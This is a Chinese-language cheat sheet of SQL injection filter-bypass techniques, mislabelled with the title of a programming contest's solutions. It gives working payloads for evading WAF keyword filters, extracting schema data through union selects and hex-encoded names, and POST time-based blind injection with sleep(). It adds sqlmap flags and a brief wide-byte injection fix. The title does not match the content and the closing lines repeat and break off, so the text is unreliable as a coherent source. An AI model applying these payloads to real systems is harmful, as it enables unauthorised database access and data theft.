THUPC2021 網路賽題解
SQL注入繞過
1,大小寫繞過
2,雙寫繞過
3,編碼繞過
可以使用URL編碼,ASCII,HEX,unicode編碼繞過
4,內聯註釋繞過
/*!內容*/
5,繞過空格(註釋符/ /,%a0)
兩個空格代替一個空格,用Tab代替空格,%a0=空格,註釋替換空格.
括號繞過空格
如果空格被過濾,括號沒有被過濾,可以用括號繞過。
在MySQL中,括號是用來包圍子查詢的。因此,任何可以計算出結果的語句,都可以用括號包圍起來。而括號的兩端,可以沒有多餘的空格。
select(user())from dual where(1=1)and(2=2)
6,引號繞過(使用十六進位制)
select column_name from information_schema. tables where table_name="users"//這個時候如果引號被過濾了,那麼上面的where子句就無法使用了。那麼遇到這樣的問題就要使用十六進位制來處理這個問題了。
users的十六進位制的字串是7573657273。
select column_name from information_schema.tables where table_name=0x7573657273
7,逗號繞過(使用from或者offset)
使用join:
union select 1,2 #等價於
union select * from (select 1)a join (select 2)b
使用like:
select ascii(mid(user(),1,1))=80 #等價於
select user() like ‘r%’
對於limit可以使用offset來繞過:
select * from news limit 0,1
select * from news limit 1 offset 0
8,比較符號(<>)繞過
(過濾了<>:sqlmap盲注經常使用<>,使用greatest()、least():(前者返回最大值,後者返回最小值))
select * from users where id=1 and ascii(substr (database(),0,1))>64
select * from users where id=1 and greatest(ascii(substr(database(),0,1)),64)=64
9.繞過union,select,where等
(1)使用註釋符繞過:
U// NION // SE// LECT //user,pwd from user
(2)使用大小寫繞過:
(3)內聯註釋繞過:
id=-1'/*!UnIoN*/ SeLeCT 1,2,concat(/*!table_name*/) FrOM /*information_schema*/.tables /*!WHERE *//*!TaBlE_ScHeMa*/ like database()#
(4) 雙關鍵字繞過(若刪除掉第一個匹配的union就能繞過)
10.寬位元組注入
修復:
character_set_client='binary’設定為binary(二進位制),只需要在所有的sql語句前指定一下連線的形式為二進位制:mysql_query(“SET character_set_connection=gbk, character_set_results=gbk,character_set_client=binary”, $conn);,當我們的mysql接受到客戶端的資料後,會認為他的編碼是character_set_client,然後會將換成character_set_connection的編碼,然後在進入具體表和欄位後,再轉換成欄位對應的編碼,然後當查詢結果產生後,會從表和欄位編碼,轉換成character_set_results編碼,返回給客戶端。
POST基於時間和布林的盲注
1.HTTP POST介紹
POST傳送資料到伺服器中,請求伺服器處理(表單資料提交、檔案上傳)
POST可能會建立新的資源或者修改現有資源
2.POST基於時間的盲注
在存在注入點POST提交的引數後加and if(length(database())>5,sleep(5),null)
如果執行的頁面響應時間大於5秒,那麼肯定就存在注入,並且對應的SQL語句執行
uname=admin and &passwd=123&submit=Submit
uname=admin and (select(if(length(database())>5,sleep(5),null)))--+&passwd=123&submit=Submit
3.POST基於布林的盲注
4、Sqlmap安全測試
測試方法與前面類似
–technique -T 時間盲注
試方法與前面類似
–technique -T 時間盲注
–technique -B 布林盲注